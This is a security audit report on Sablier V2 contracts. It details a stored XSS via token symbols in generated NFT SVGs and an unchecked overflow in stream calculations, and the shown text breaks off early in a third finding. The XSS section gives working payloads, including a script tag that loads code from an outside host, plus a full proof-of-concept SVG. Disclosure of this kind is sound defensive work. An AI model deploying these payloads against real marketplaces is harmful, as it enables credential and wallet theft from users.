-
- M-01. Insufficient input validation on
SablierV2NFTDescriptor::safeAssetSymbolallows an attacker to obtain stored XSS - M-02. The overflow in the
_calculateStreamedAmountfunction can lead to unexpected results. - M-03.
SablierV2Lockup.sol- The caller of withdraw and renounce can skip callbacks, by sending less gas - M-04. Use of CREATE method is suspicious of reorg attack
- M-01. Insufficient input validation on
-
- L-01. SablierV2Lockup is not EIP4906 compliant.
- L-02. Cancelling a Merkle Lockup is only callable by
initialAdmineven afteradminhad been modified - L-03. Early Initiation of Grace Period Prevents Creator's Ability to Withdraw Funds via Clawback
- L-04. Malicious user can honeypot other users to buy their stream on an NFT marketplace and cancel it right before the purchase happens
- L-05. Merkle Tree related contracts will be subject to Cross Chain Replay attacks
- L-06. Stream sender is unable to cancel a stream with a pausable asset that is paused
- L-07. WithdrawMultiple can be DOS'ed by a random user
- High: 0
- Medium: 4
- Low: 7
M-01. Insufficient input validation on SablierV2NFTDescriptor::safeAssetSymbol allows an attacker to obtain stored XSS
Submitted by LordOfTerra, Rhaydden, abhishekthakur, nfmelendez, n0kto, befree3x, ge6a, Greed, EgisSecurity. Selected submission by: befree3x.
https://github.com/Cyfrin/2024-05-Sablier/blob/main/v2-core/src/SablierV2NFTDescriptor.sol#L346
https://github.com/Cyfrin/2024-05-Sablier/blob/main/v2-core/src/SablierV2NFTDescriptor.sol#L55
https://github.com/Cyfrin/2024-05-Sablier/blob/main/v2-core/src/libraries/NFTSVG.sol#L140
Insufficient input validation on SablierV2NFTDescriptor::safeAssetSymbol allows an attacker to obtain stored XSS (Cross Site Scripting) on all websites loading Sablier NFTs via a malicious generated SVG image.
The SablierV2NFTDescriptor contract is responsible for generating NFTs for users. Each symbol viewed on every NFT is fetched directly from the asset contract using the safeAssetSymbol function as described below:
function safeAssetSymbol(address asset) internal view returns (string memory) {
(bool success, bytes memory returnData) = asset.staticcall(abi.encodeCall(IERC20Metadata.symbol, ()));
// Non-empty strings have a length greater than 64, and bytes32 has length 32.
if (!success || returnData.length <= 64) {
return "ERC20";
}
string memory symbol = abi.decode(returnData, (string));
// The length check is a precautionary measure to help mitigate potential security threats from malicious assets
// injecting scripts in the symbol string.
>> if (bytes(symbol).length > 30) {
return "Long Symbol";
} else {
return symbol;
}
}This function returns the inputted symbol as is if the following conditions are fulfilled:
- The symbol has a length of over 64, i.e. a non-empty string
- The length of the symbol in bytes is not bigger than 30.
Once the symbol is returned, it's inserted directly to the SVG text as depicted in the function generateFloatingText, which will be rendered directly in the frontend of any website that supports or trades Sablier's NFTs.
The possibility to inject javascript code to the SVG text has been reported in the previous audit, Section 3.2.1. The protocol team has fixed the issue by adding a length check making sure that no asset symbol string with size bigger than 30 bytes can be added to the SVG text.
However, it's possible to bypass the length check above using one of the following symbol strings:
<img src/onerror=alert(1)>(26 bytes)<svg/onload=alert("xss")>(25 bytes)
This will produce a reflected XSS on all websites that load the malicious SVG image. The consequence can be harmful for the protocol's image but not entirely critical for the end user as it only shows an annoying pop up.
Taking a further deep dive, we're able to obtain a stored XSS by including external scripts inside the generated SVG text using the following payload: <script href=//15.rs></script>, which has exactly 30 bytes in length. This payload is not only able to bypass the length check but also to give the attacker all possibilities to extract user's confidential information on multiple NFT marketplaces that support Sablier streams, such as Opensea or Etherscan.
If an attacker creates an asset with a symbol containing the malicious javascript payload above, he could get a stored XSS on all websites that render his malicious NFT SVG image, which is legitimately generated by Sablier. This could allow the attacker for example, to run a keylogger script to collect all inputs typed by a user including his password or to create a fake Metamask pop up asking a user to sign a malicious transaction.
Manual review.
We'll demonstrate below how an attacker can use a malicious SVG image generated by SablierV2NFTDescriptor contract to obtain a stored XSS on a website loading the malicious image.
- Step 1: Generate the malicious SVG text while providing the malicious asset symbol:
<script href=//15.rs></script>
1a. The following test case can be added to the file safeAssetSymbol.t.sol to prove that the used malicious symbol passes the length check.
Code
function test_SafeAssetSymbol_MaliciousSymbolPassed() external whenERC20Contract givenSymbolString {
ERC20Mock asset = new ERC20Mock({
name: "Token",
symbol: "<script href=//15.rs></script>"
});
string memory actualSymbol = nftDescriptorMock.safeAssetSymbol_(address(asset));
string memory expectedSymbol = "<script href=//15.rs></script>";
assertEq(actualSymbol, expectedSymbol, "symbol");
}1b. The second test case can be appended to NFTDescriptor.t.sol proving that a legitimate SVG text is generated for the attacker while providing the malicious asset symbol.
Code
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.22 <0.9.0;
import { Integration_Test } from "../../Integration.t.sol";
import { NFTDescriptorMock } from "../../../mocks/NFTDescriptorMock.sol";
import { NFTSVG } from "../../../../src/libraries/NFTSVG.sol";
abstract contract NFTDescriptor_Integration_Concrete_Test is Integration_Test {
NFTDescriptorMock internal nftDescriptorMock;
function setUp() public virtual override {
Integration_Test.setUp();
deployConditionally();
}
/// @dev Conditionally deploys {NFTDescriptorMock} normally or from a source precompiled with `--via-ir`.
function deployConditionally() internal {
if (!isTestOptimizedProfile()) {
nftDescriptorMock = new NFTDescriptorMock();
} else {
nftDescriptorMock =
NFTDescriptorMock(deployCode("out-optimized/NFTDescriptorMock.sol/NFTDescriptorMock.json"));
}
vm.label({ account: address(nftDescriptorMock), newLabel: "NFTDescriptorMock" });
}
function test_GenerateSVG_Malicious() external {
string memory actualSVG = nftDescriptorMock.generateSVG_(
NFTSVG.SVGParams({
accentColor: "hsl(155,18%,30%)",
amount: "100",
assetAddress: "0x03a6a84cd762d9707a21605b548aaab891562aab",
assetSymbol: "<script href=//15.rs></script>",
duration: "5 Days",
progress: "0%",
progressNumerical: 0,
sablierAddress: "0xf3a045dc986015be9ae43bb3462ae5981b0816e0",
sablierModel: "Lockup Linear",
status: "Pending"
})
);
string memory expectedSVG =
unicode'<svg xmlns="http://www.w3.org/2000/svg" width="1000" height="1000" viewBox="0 0 1000 1000"><rect width="100%" height="100%" filter="url(#Noise)"/><rect x="70" y="70" width="860" height="860" fill="#fff" fill-opacity=".03" rx="45" ry="45" stroke="#fff" stroke-opacity=".1" stroke-width="4"/><defs><circle id="Glow" r="500" fill="url(#RadialGlow)"/><filter id="Noise"><feFlood x="0" y="0" width="100%" height="100%" flood-color="hsl(230,21%,11%)" flood-opacity="1" result="floodFill"/><feTurbulence baseFrequency=".4" numOctaves="3" result="Noise" type="fractalNoise"/><feBlend in="Noise" in2="floodFill" mode="soft-light"/></filter><path id="Logo" fill="#fff" fill-opacity=".1" d="m133.559,124.034c-.013,2.412-1.059,4.848-2.923,6.402-2.558,1.819-5.168,3.439-7.888,4.996-14.44,8.262-31.047,12.565-47.674,12.569-8.858.036-17.838-1.272-26.328-3.663-9.806-2.766-19.087-7.113-27.562-12.778-13.842-8.025,9.468-28.606,16.153-35.265h0c2.035-1.838,4.252-3.546,6.463-5.224h0c6.429-5.655,16.218-2.835,20.358,4.17,4.143,5.057,8.816,9.649,13.92,13.734h.037c5.736,6.461,15.357-2.253,9.38-8.48,0,0-3.515-3.515-3.515-3.515-11.49-11.478-52.656-52.664-64.837-64.837l.049-.037c-1.725-1.606-2.719-3.847-2.751-6.204h0c-.046-2.375,1.062-4.582,2.726-6.229h0l.185-.148h0c.099-.062,.222-.148,.37-.259h0c2.06-1.362,3.951-2.621,6.044-3.842C57.763-3.473,97.76-2.341,128.637,18.332c16.671,9.946-26.344,54.813-38.651,40.199-6.299-6.096-18.063-17.743-19.668-18.811-6.016-4.047-13.061,4.776-7.752,9.751l68.254,68.371c1.724,1.601,2.714,3.84,2.738,6.192Z"/><path id="FloatingText" fill="none" d="M125 45h750s80 0 80 80v750s0 80 -80 80h-750s-80 0 -80 -80v-750s0 -80 80 -80"/><radialGradient id="RadialGlow"><stop offset="0%" stop-color="hsl(155,18%,30%)" stop-opacity=".6"/><stop offset="100%" stop-color="hsl(230,21%,11%)" stop-opacity="0"/></radialGradient><linearGradient id="SandTop" x1="0%" y1="0%"><stop offset="0%" stop-color="hsl(155,18%,30%)"/><stop offset="100%" stop-color="hsl(230,21%,11%)"/></linearGradient><linearGradient id="SandBottom" x1="100%" y1="100%"><stop offset="10%" stop-color="hsl(230,21%,11%)"/><stop offset="100%" stop-color="hsl(155,18%,30%)"/><animate attributeName="x1" dur="6s" repeatCount="indefinite" values="30%;60%;120%;60%;30%;"/></linearGradient><linearGradient id="HourglassStroke" gradientTransform="rotate(90)" gradientUnits="userSpaceOnUse"><stop offset="50%" stop-color="hsl(155,18%,30%)"/><stop offset="80%" stop-color="hsl(230,21%,11%)"/></linearGradient><g id="Hourglass"><path d="M 50,360 a 300,300 0 1,1 600,0 a 300,300 0 1,1 -600,0" fill="#fff" fill-opacity=".02" stroke="url(#HourglassStroke)" stroke-width="4"/><path d="m566,161.201v-53.924c0-19.382-22.513-37.563-63.398-51.198-40.756-13.592-94.946-21.079-152.587-21.079s-111.838,7.487-152.602,21.079c-40.893,13.636-63.413,31.816-63.413,51.198v53.924c0,17.181,17.704,33.427,50.223,46.394v284.809c-32.519,12.96-50.223,29.206-50.223,46.394v53.924c0,19.382,22.52,37.563,63.413,51.198,40.763,13.592,94.954,21.079,152.602,21.079s111.831-7.487,152.587-21.079c40.886-13.636,63.398-31.816,63.398-51.198v-53.924c0-17.196-17.704-33.435-50.223-46.401V207.603c32.519-12.967,50.223-29.206,50.223-46.401Zm-347.462,57.793l130.959,131.027-130.959,131.013V218.994Zm262.924.022v262.018l-130.937-131.006,130.937-131.013Z" fill="#161822"></path><polygon points="350 350.026 415.03 284.978 285 284.978 350 350.026" fill="url(#SandBottom)"/><path d="m416.341,281.975c0,.914-.354,1.809-1.035,2.68-5.542,7.076-32.661,12.45-65.28,12.45-32.624,0-59.738-5.374-65.28-12.45-.681-.872-1.035-1.767-1.035-2.68,0-.914.354-1.808,1.035-2.676,5.542-7.076,32.656-12.45,65.28-12.45,32.619,0,59.738,5.374,65.28,12.45.681.867,1.035,1.762,1.035,2.676Z" fill="url(#SandTop)"/><path d="m481.46,504.101v58.449c-2.35.77-4.82,1.51-7.39,2.23-30.3,8.54-74.65,13.92-124.06,13.92-53.6,0-101.24-6.33-131.47-16.16v-58.439h262.92Z" fill="url(#SandBottom)"/><ellipse cx="350" cy="504.101" rx="131.462" ry="28.108" fill="url(#SandTop)"/><g fill="none" stroke="url(#HourglassStroke)" stroke-linecap="round" stroke-miterlimit="10" stroke-width="4"><path d="m565.641,107.28c0,9.537-5.56,18.629-15.676,26.973h-.023c-9.204,7.596-22.194,14.562-38.197,20.592-39.504,14.936-97.325,24.355-161.733,24.355-90.48,0-167.948-18.582-199.953-44.948h-.023c-10.115-8.344-15.676-17.437-15.676-26.973,0-39.735,96.554-71.921,215.652-71.921s215.629,32.185,215.629,71.921Z"/><path d="m134.36,161.203c0,39.735,96.554,71.921,215.652,71.921s215.629-32.186,215.629-71.921"/><line x1="134.36" y1="161.203" x2="134.36" y2="107.28"/><line x1="565.64" y1="161.203" x2="565.64" y2="107.28"/><line x1="184.584" y1="206.823" x2="184.585" y2="537.579"/><line x1="218.181" y1="218.118" x2="218.181" y2="562.537"/><line x1="481.818" y1="218.142" x2="481.819" y2="562.428"/><line x1="515.415" y1="207.352" x2="515.416" y2="537.579"/><path d="m184.58,537.58c0,5.45,4.27,10.65,12.03,15.42h.02c5.51,3.39,12.79,6.55,21.55,9.42,30.21,9.9,78.02,16.28,131.83,16.28,49.41,0,93.76-5.38,124.06-13.92,2.7-.76,5.29-1.54,7.75-2.35,8.77-2.87,16.05-6.04,21.56-9.43h0c7.76-4.77,12.04-9.97,12.04-15.42"/><path d="m184.582,492.656c-31.354,12.485-50.223,28.58-50.223,46.142,0,9.536,5.564,18.627,15.677,26.969h.022c8.503,7.005,20.213,13.463,34.524,19.159,9.999,3.991,21.269,7.609,33.597,10.788,36.45,9.407,82.181,15.002,131.835,15.002s95.363-5.595,131.807-15.002c10.847-2.79,20.867-5.926,29.924-9.349,1.244-.467,2.473-.942,3.673-1.424,14.326-5.696,26.035-12.161,34.524-19.173h.022c10.114-8.342,15.677-17.433,15.677-26.969,0-17.562-18.869-33.665-50.223-46.15"/><path d="m134.36,592.72c0,39.735,96.554,71.921,215.652,71.921s215.629-32.186,215.629-71.921"/><line x1="134.36" y1="592.72" x2="134.36" y2="538.797"/><line x1="565.64" y1="592.72" x2="565.64" y2="538.797"/><polyline points="481.822 481.901 481.798 481.877 481.775 481.854 350.015 350.026 218.185 218.129"/><polyline points="218.185 481.901 218.231 481.854 350.015 350.026 481.822 218.152"/></g></g><g id="Progress" fill="#fff"><rect width="144" height="100" fill-opacity=".03" rx="15" ry="15" stroke="#fff" stroke-opacity=".1" stroke-width="4"/><text x="20" y="34" font-family="\'Courier New\',Arial,monospace" font-size="22px">Progress</text><text x="20" y="72" font-family="\'Courier New\',Arial,monospace" font-size="26px">0%</text></g><g id="Status" fill="#fff"><rect width="152" height="100" fill-opacity=".03" rx="15" ry="15" stroke="#fff" stroke-opacity=".1" stroke-width="4"/><text x="20" y="34" font-family="\'Courier New\',Arial,monospace" font-size="22px">Status</text><text x="20" y="72" font-family="\'Courier New\',Arial,monospace" font-size="26px">Pending</text></g><g id="Amount" fill="#fff"><rect width="118" height="100" fill-opacity=".03" rx="15" ry="15" stroke="#fff" stroke-opacity=".1" stroke-width="4"/><text x="20" y="34" font-family="\'Courier New\',Arial,monospace" font-size="22px">Amount</text><text x="20" y="72" font-family="\'Courier New\',Arial,monospace" font-size="26px">100</text></g><g id="Duration" fill="#fff"><rect width="144" height="100" fill-opacity=".03" rx="15" ry="15" stroke="#fff" stroke-opacity=".1" stroke-width="4"/><text x="20" y="34" font-family="\'Courier New\',Arial,monospace" font-size="22px">Duration</text><text x="20" y="72" font-family="\'Courier New\',Arial,monospace" font-size="26px">5 Days</text></g></defs><text text-rendering="optimizeSpeed"><textPath startOffset="-100%" href="#FloatingText" fill="#fff" font-family="\'Courier New\',Arial,monospace" fill-opacity=".8" font-size="26px"><animate additive="sum" attributeName="startOffset" begin="0s" dur="50s" from="0%" repeatCount="indefinite" to="100%"/>0xf3a045dc986015be9ae43bb3462ae5981b0816e0 • Sablier V2 Lockup Linear</textPath><textPath startOffset="0%" href="#FloatingText" fill="#fff" font-family="\'Courier New\',Arial,monospace" fill-opacity=".8" font-size="26px"><animate additive="sum" attributeName="startOffset" begin="0s" dur="50s" from="0%" repeatCount="indefinite" to="100%"/>0xf3a045dc986015be9ae43bb3462ae5981b0816e0 • Sablier V2 Lockup Linear</textPath><textPath startOffset="-50%" href="#FloatingText" fill="#fff" font-family="\'Courier New\',Arial,monospace" fill-opacity=".8" font-size="26px"><animate additive="sum" attributeName="startOffset" begin="0s" dur="50s" from="0%" repeatCount="indefinite" to="100%"/>0x03a6a84cd762d9707a21605b548aaab891562aab • <script href=//15.rs></script></textPath><textPath startOffset="50%" href="#FloatingText" fill="#fff" font-family="\'Courier New\',Arial,monospace" fill-opacity=".8" font-size="26px"><animate additive="sum" attributeName="startOffset" begin="0s" dur="50s" from="0%" repeatCount="indefinite" to="100%"/>0x03a6a84cd762d9707a21605b548aaab891562aab • <script href=//15.rs></script></textPath></text><use href="#Glow" fill-opacity=".9"/><use href="#Glow" x="1000" y="1000" fill-opacity=".9"/><use href="#Logo" x="170" y="170" transform="scale(.6)"/><use href="#Hourglass" x="150" y="90" transform="rotate(10)" transform-origin="500 500"/><use href="#Progress" x="197" y="790"/><use href="#Status" x="357" y="790"/><use href="#Amount" x="525" y="790"/><use href="#Duration" x="659" y="790"/></svg>';
assertEq(actualSVG, expectedSVG, "SVG mismatch");
}
}Run the two tests successfully using forge test --mt test_SafeAssetSymbol_MaliciousSymbolPassed and forge test --mt test_GenerateSVG_Malicious inside the v2-core folder.
- Step 2: Take the SVG text from the test
test_GenerateSVG_Maliciousabove and put it inside a file calledindex.htmlas below.
Code
<svg xmlns="http://www.w3.org/2000/svg" width="1000" height="1000" viewBox="0 0 1000 1000"><rect width="100%" height="100%" filter="url(#Noise)"/><rect x="70" y="70" width="860" height="860" fill="#fff" fill-opacity=".03" rx="45" ry="45" stroke="#fff" stroke-opacity=".1" stroke-width="4"/><defs><circle id="Glow" r="500" fill="url(#RadialGlow)"/><filter id="Noise"><feFlood x="0" y="0" width="100%" height="100%" flood-color="hsl(230,21%,11%)" flood-opacity="1" result="floodFill"/><feTurbulence baseFrequency=".4" numOctaves="3" result="Noise" type="fractalNoise"/><feBlend in="Noise" in2="floodFill" mode="soft-light"/></filter><path id="Logo" fill="#fff" fill-opacity=".1" d="m133.559,124.034c-.013,2.412-1.059,4.848-2.923,6.402-2.558,1.819-5.168,3.439-7.888,4.996-14.44,8.262-31.047,12.565-47.674,12.569-8.858.036-17.838-1.272-26.328-3.663-9.806-2.766-19.087-7.113-27.562-12.778-13.842-8.025,9.468-28.606,16.153-35.265h0c2.035-1.838,4.252-3.546,6.463-5.224h0c6.429-5.655,16.218-2.835,20.358,4.17,4.143,5.057,8.816,9.649,13.92,13.734h.037c5.736,6.461,15.357-2.253,9.38-8.48,0,0-3.515-3.515-3.515-3.515-11.49-11.478-52.656-52.664-64.837-64.837l.049-.037c-1.725-1.606-2.719-3.847-2.751-6.204h0c-.046-2.375,1.062-4.582,2.726-6.229h0l.185-.148h0c.099-.062,.222-.148,.37-.259h0c2.06-1.362,3.951-2.621,6.044-3.842C57.763-3.473,97.76-2.341,128.637,18.332c16.671,9.946-26.344,54.813-38.651,40.199-6.299-6.096-18.063-17.743-19.668-18.811-6.016-4.047-13.061,4.776-7.752,9.751l68.254,68.371c1.724,1.601,2.714,3.84,2.738,6.192Z"/><path id="FloatingText" fill="none" d="M125 45h750s80 0 80 80v750s0 80 -80 80h-750s-80 0 -80 -80v-750s0 -80 80 -80"/><radialGradient id="RadialGlow"><stop offset="0%" stop-color="hsl(155,18%,30%)" stop-opacity=".6"/><stop offset="100%" stop-color="hsl(230,21%,11%)" stop-opacity="0"/></radialGradient><linearGradient id="SandTop" x1="0%" y1="0%"><stop offset="0%" stop-color="hsl(155,18%,30%)"/><stop offset="100%" stop-color="hsl(230,21%,11%)"/></linearGradient><linearGradient id="SandBottom" x1="100%" y1="100%"><stop offset="10%" stop-color="hsl(230,21%,11%)"/><stop offset="100%" stop-color="hsl(155,18%,30%)"/><animate attributeName="x1" dur="6s" repeatCount="indefinite" values="30%;60%;120%;60%;30%;"/></linearGradient><linearGradient id="HourglassStroke" gradientTransform="rotate(90)" gradientUnits="userSpaceOnUse"><stop offset="50%" stop-color="hsl(155,18%,30%)"/><stop offset="80%" stop-color="hsl(230,21%,11%)"/></linearGradient><g id="Hourglass"><path d="M 50,360 a 300,300 0 1,1 600,0 a 300,300 0 1,1 -600,0" fill="#fff" fill-opacity=".02" stroke="url(#HourglassStroke)" stroke-width="4"/><path d="m566,161.201v-53.924c0-19.382-22.513-37.563-63.398-51.198-40.756-13.592-94.946-21.079-152.587-21.079s-111.838,7.487-152.602,21.079c-40.893,13.636-63.413,31.816-63.413,51.198v53.924c0,17.181,17.704,33.427,50.223,46.394v284.809c-32.519,12.96-50.223,29.206-50.223,46.394v53.924c0,19.382,22.52,37.563,63.413,51.198,40.763,13.592,94.954,21.079,152.602,21.079s111.831-7.487,152.587-21.079c40.886-13.636,63.398-31.816,63.398-51.198v-53.924c0-17.196-17.704-33.435-50.223-46.401V207.603c32.519-12.967,50.223-29.206,50.223-46.401Zm-347.462,57.793l130.959,131.027-130.959,131.013V218.994Zm262.924.022v262.018l-130.937-131.006,130.937-131.013Z" fill="#161822"></path><polygon points="350 350.026 415.03 284.978 285 284.978 350 350.026" fill="url(#SandBottom)"/><path d="m416.341,281.975c0,.914-.354,1.809-1.035,2.68-5.542,7.076-32.661,12.45-65.28,12.45-32.624,0-59.738-5.374-65.28-12.45-.681-.872-1.035-1.767-1.035-2.68,0-.914.354-1.808,1.035-2.676,5.542-7.076,32.656-12.45,65.28-12.45,32.619,0,59.738,5.374,65.28,12.45.681.867,1.035,1.762,1.035,2.676Z" fill="url(#SandTop)"/><path d="m481.46,504.101v58.449c-2.35.77-4.82,1.51-7.39,2.23-30.3,8.54-74.65,13.92-124.06,13.92-53.6,0-101.24-6.33-131.47-16.16v-58.439h262.92Z" fill="url(#SandBottom)"/><ellipse cx="350" cy="504.101" rx="131.462" ry="28.108" fill="url(#SandTop)"/><g fill="none" stroke="url(#HourglassStroke)" stroke-linecap="round" stroke-miterlimit="10" stroke-width="4"><path d="m565.641,107.28c0,9.537-5.56,18.629-15.676,26.973h-.023c-9.204,7.596-22.194,14.562-38.197,20.592-39.504,14.936-97.325,24.355-161.733,24.355-90.48,0-167.948-18.582-199.953-44.948h-.023c-10.115-8.344-15.676-17.437-15.676-26.973,0-39.735,96.554-71.921,215.652-71.921s215.629,32.185,215.629,71.921Z"/><path d="m134.36,161.203c0,39.735,96.554,71.921,215.652,71.921s215.629-32.186,215.629-71.921"/><line x1="134.36" y1="161.203" x2="134.36" y2="107.28"/><line x1="565.64" y1="161.203" x2="565.64" y2="107.28"/><line x1="184.584" y1="206.823" x2="184.585" y2="537.579"/><line x1="218.181" y1="218.118" x2="218.181" y2="562.537"/><line x1="481.818" y1="218.142" x2="481.819" y2="562.428"/><line x1="515.415" y1="207.352" x2="515.416" y2="537.579"/><path d="m184.58,537.58c0,5.45,4.27,10.65,12.03,15.42h.02c5.51,3.39,12.79,6.55,21.55,9.42,30.21,9.9,78.02,16.28,131.83,16.28,49.41,0,93.76-5.38,124.06-13.92,2.7-.76,5.29-1.54,7.75-2.35,8.77-2.87,16.05-6.04,21.56-9.43h0c7.76-4.77,12.04-9.97,12.04-15.42"/><path d="m184.582,492.656c-31.354,12.485-50.223,28.58-50.223,46.142,0,9.536,5.564,18.627,15.677,26.969h.022c8.503,7.005,20.213,13.463,34.524,19.159,9.999,3.991,21.269,7.609,33.597,10.788,36.45,9.407,82.181,15.002,131.835,15.002s95.363-5.595,131.807-15.002c10.847-2.79,20.867-5.926,29.924-9.349,1.244-.467,2.473-.942,3.673-1.424,14.326-5.696,26.035-12.161,34.524-19.173h.022c10.114-8.342,15.677-17.433,15.677-26.969,0-17.562-18.869-33.665-50.223-46.15"/><path d="m134.36,592.72c0,39.735,96.554,71.921,215.652,71.921s215.629-32.186,215.629-71.921"/><line x1="134.36" y1="592.72" x2="134.36" y2="538.797"/><line x1="565.64" y1="592.72" x2="565.64" y2="538.797"/><polyline points="481.822 481.901 481.798 481.877 481.775 481.854 350.015 350.026 218.185 218.129"/><polyline points="218.185 481.901 218.231 481.854 350.015 350.026 481.822 218.152"/></g></g><g id="Progress" fill="#fff"><rect width="144" height="100" fill-opacity=".03" rx="15" ry="15" stroke="#fff" stroke-opacity=".1" stroke-width="4"/><text x="20" y="34" font-family="\'Courier New\',Arial,monospace" font-size="22px">Progress</text><text x="20" y="72" font-family="\'Courier New\',Arial,monospace" font-size="26px">0%</text></g><g id="Status" fill="#fff"><rect width="152" height="100" fill-opacity=".03" rx="15" ry="15" stroke="#fff" stroke-opacity=".1" stroke-width="4"/><text x="20" y="34" font-family="\'Courier New\',Arial,monospace" font-size="22px">Status</text><text x="20" y="72" font-family="\'Courier New\',Arial,monospace" font-size="26px">Pending</text></g><g id="Amount" fill="#fff"><rect width="118" height="100" fill-opacity=".03" rx="15" ry="15" stroke="#fff" stroke-opacity=".1" stroke-width="4"/><text x="20" y="34" font-family="\'Courier New\',Arial,monospace" font-size="22px">Amount</text><text x="20" y="72" font-family="\'Courier New\',Arial,monospace" font-size="26px">100</text></g><g id="Duration" fill="#fff"><rect width="144" height="100" fill-opacity=".03" rx="15" ry="15" stroke="#fff" stroke-opacity=".1" stroke-width="4"/><text x="20" y="34" font-family="\'Courier New\',Arial,monospace" font-size="22px">Duration</text><text x="20" y="72" font-family="\'Courier New\',Arial,monospace" font-size="26px">5 Days</text></g></defs><text text-rendering="optimizeSpeed"><textPath startOffset="-100%" href="#FloatingText" fill="#fff" font-family="\'Courier New\',Arial,monospace" fill-opacity=".8" font-size="26px"><animate additive="sum" attributeName="startOffset" begin="0s" dur="50s" from="0%" repeatCount="indefinite" to="100%"/>0xf3a045dc986015be9ae43bb3462ae5981b0816e0 • Sablier V2 Lockup Linear</textPath><textPath startOffset="0%" href="#FloatingText" fill="#fff" font-family="\'Courier New\',Arial,monospace" fill-opacity=".8" font-size="26px"><animate additive="sum" attributeName="startOffset" begin="0s" dur="50s" from="0%" repeatCount="indefinite" to="100%"/>0xf3a045dc986015be9ae43bb3462ae5981b0816e0 • Sablier V2 Lockup Linear</textPath><textPath startOffset="-50%" href="#FloatingText" fill="#fff" font-family="\'Courier New\',Arial,monospace" fill-opacity=".8" font-size="26px"><animate additive="sum" attributeName="startOffset" begin="0s" dur="50s" from="0%" repeatCount="indefinite" to="100%"/>0x03a6a84cd762d9707a21605b548aaab891562aab • <script href=//15.rs></script></textPath><textPath startOffset="50%" href="#FloatingText" fill="#fff" font-family="\'Courier New\',Arial,monospace" fill-opacity=".8" font-size="26px"><animate additive="sum" attributeName="startOffset" begin="0s" dur="50s" from="0%" repeatCount="indefinite" to="100%"/>0x03a6a84cd762d9707a21605b548aaab891562aab • <script href=//15.rs></script></textPath></text><use href="#Glow" fill-opacity=".9"/><use href="#Glow" x="1000" y="1000" fill-opacity=".9"/><use href="#Logo" x="170" y="170" transform="scale(.6)"/><use href="#Hourglass" x="150" y="90" transform="rotate(10)" transform-origin="500 500"/><use href="#Progress" x="197" y="790"/><use href="#Status" x="357" y="790"/><use href="#Amount" x="525" y="790"/><use href="#Duration" x="659" y="790"/></svg>- Step 3: Open the file using any browser, we'll see two pop ups revealing the current domain, as demonstrated here as well.
It's because the current external script hosted on 15.rs only has this content alert(document.domain);. An attacker can change the content of this file to whatever he wants to extract user's cookies, local storage or to listen to all user's keystrokes as he wishes.
As also recommended by the previous audit, it's absolutely necessary to sanitize the user's input on the safeAssetSymbol function as the length check is not enough. The asset symbol should only contain Aa-Zz and 0-9 characters while forbidding special ones, i.e. < / >.
Submitted by etherSky, Nave765, 0xbug, EgisSecurity, bladesec. Selected submission by: etherSky.
In the _calculateStreamedAmount function, the calculation is within an unchecked block.
When the start time is later than the current block's timestamp, an overflow occurs during the calculation.
This can lead to several vulnerabilities:
- The
sendercannotcancelthestreambefore thestart timebecause thePRB math libraryreverts due to theoverflowed, extremely large values. Thesendershould be able tocancelthestreamanytime if it has not beendepletedyet. - For specific values, the
overflowcan result in incorrect calculations (without triggering arevert), allowing some tokens to bewithdrawnbefore thestart time.
We can create a linear lockup using the createWithTimestamps function in SablierV2LockupLinear.
function createWithTimestamps(LockupLinear.CreateWithTimestamps calldata params)
external
override
noDelegateCall
returns (uint256 streamId)
{
// Checks, Effects and Interactions: create the stream.
streamId = _create(params);
}
Obviously, the start time can be later than the current block.timestamp because some senders may want to start streaming in the future.
After some time, the sender wants to cancel their stream before the start time because they found issues with their plan.
However, this cancellation will be reverted due to an overflow.
Let's explain this step by step with a specific example. The test for this example will be provided at the end.
The current time is 1714518000, and the start time is 1714690800, which is slightly later.
The cliff time is 0, and the duration is 10,000.
The sender wants to cancel this stream, so they call the cancel function.
Here, we calculate the streamed amount so far by calling the _calculateStreamedAmount function
function _cancel(uint256 streamId) internal {
// Calculate the streamed amount.
uint128 streamedAmount = _calculateStreamedAmount(streamId);
}
In the _calculateStreamedAmount function, we don't check whether the start time is later than the current time.
Therefore, in the unchecked block, an overflow occur.
In our case, the elapsed time becomes a large value due to overflow (almost type(256).max), and the total duration is 10,000.
We call the div function in the PRB math library.
function _calculateStreamedAmount(uint256 streamId) internal view override returns (uint128) {
unchecked {
// Calculate how much time has passed since the stream started, and the stream's total duration.
uint256 startTime = uint256(_streams[streamId].startTime);
UD60x18 elapsedTime = ud(blockTimestamp - startTime);
UD60x18 totalDuration = ud(endTime - startTime);
// Divide the elapsed time by the stream's total duration.
UD60x18 elapsedTimePercentage = elapsedTime.div(totalDuration);
}
}
In the div function, we multiply by 1e18, and the revert occurs in the mulDiv function
function div(UD60x18 x, UD60x18 y) pure returns (UD60x18 result) {
result = wrap(Common.mulDiv(x.unwrap(), uUNIT, y.unwrap()));
}
function mulDiv(uint256 x, uint256 y, uint256 denominator) pure returns (uint256 result) {
assembly ("memory-safe") {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
if (prod1 >= denominator) {
revert PRBMath_MulDiv_Overflow(x, y, denominator); // @audit, here
}
}
In our test, the revert message is as follows:
[FAIL. Reason: PRBMath_MulDiv_Overflow(115792089237316195423570985008687907853269984665640564039457584007913129467136 [1.157e77], 1000000000000000000 [1e18], 10000 [1e4])]
Please add below test to the test/integration/concrete/lockup-linear/create-with-timestamps/createWithTimestamps.t.sol
function test_Cancel_Linear_Before_Start() external {
LockupLinear.CreateWithTimestamps memory params = defaults.createWithTimestampsLL();
params.timestamps.cliff = 0;
uint256 streamId = lockupLinear.createWithTimestamps(params);
assertGt(params.timestamps.start, block.timestamp); // params.timestamps.start = 1714690800, block.timestamp = 1714518000
uint256 duration = params.timestamps.end - params.timestamps.start;
assertEq(duration, 10000);
resetPrank({ msgSender: params.sender });
lockupLinear.cancel(streamId);
}
The impact is described in the Summary section.
Manual review
function _calculateStreamedAmount(uint256 streamId) internal view override returns (uint128) {
uint256 cliffTime = uint256(_cliffs[streamId]);
uint256 blockTimestamp = block.timestamp;
if (cliffTime > blockTimestamp) {
return 0;
}
+ uint256 startTime = uint256(_streams[streamId].startTime);
+ if (startTime > blockTimestamp) {
+ return 0;
+ }
}
M-03. SablierV2Lockup.sol - The caller of withdraw and renounce can skip callbacks, by sending less gas
Submitted by Drynooo, EgisSecurity, ge6a. Selected submission by: EgisSecurity.
Both withdraw and renounce implement a total of 3 callbacks.
In the case of withdraw there is a callback to the recipient and to the sender and in the case of renounce, only a callback to the recipient.
